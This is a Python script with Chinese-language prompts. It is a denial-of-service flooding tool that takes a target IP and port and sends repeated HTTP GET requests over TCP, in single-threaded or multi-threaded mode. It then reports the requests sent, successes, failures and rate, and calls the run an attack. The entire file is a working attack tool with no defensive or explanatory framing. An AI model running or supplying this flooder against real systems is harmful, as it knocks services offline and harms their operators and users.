import socket
import threading
import time

target = input("请输入目标IP地址: ")
port = int(input("请输入目标端口号: "))

attack_type = input("请选择攻击类型（1: 单线程, 2: 多线程）: ")
while attack_type not in ['1', '2']:
    attack_type = input("请选择有效的攻击类型（1: 单线程, 2: 多线程）: ")
attack_type = int(attack_type)

if attack_type == 1:
    total_requests = int(input("请输入请求总数: "))
elif attack_type == 2:
    threads_count = int(input("请输入线程数量: "))
    requests_per_thread = int(input("请输入每个线程的请求数量: "))
    total_requests = threads_count * requests_per_thread

start_time = time.time()
request_count = 0
success_count = 0
failure_count = 0
lock = threading.Lock()

def single_thread_attack():
    global total_requests, request_count, success_count, failure_count
    while request_count < total_requests:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))
            s.sendto((f"GET / HTTP/1.1\r\nHost: {target}\r\n\r\n").encode("ascii"), (target, port))
            success_count += 1
        except socket.error:
            failure_count += 1
        finally:
            request_count += 1
            s.close()

def multi_thread_attack(thread_id):
    global request_count, success_count, failure_count
    for _ in range(requests_per_thread):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))
            s.sendto((f"GET / HTTP/1.1\r\nHost: {target}\r\n\r\n").encode("ascii"), (target, port))
            success_count += 1
        except socket.error:
            failure_count += 1
        finally:
            request_count += 1
            s.close()

if attack_type == 1:
    single_thread_attack()
else:
    threads = []
    for i in range(threads_count):
        thread = threading.Thread(target=multi_thread_attack, args=(i+1,))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

end_time = time.time()
duration = end_time - start_time

print(f"攻击完成，总共发送了 {total_requests} 个请求")
print(f"成功发送的请求数量：{success_count}")
print(f"失败发送的请求数量：{failure_count}")
print(f"成功发送请求的百分比：{success_count / total_requests * 100:.2f}%")
print(f"攻击持续时间：{duration} 秒")
print(f"平均每秒发送请求数：{total_requests / duration:.2f} 次/秒")
print()
print("按回车键继续...")
input()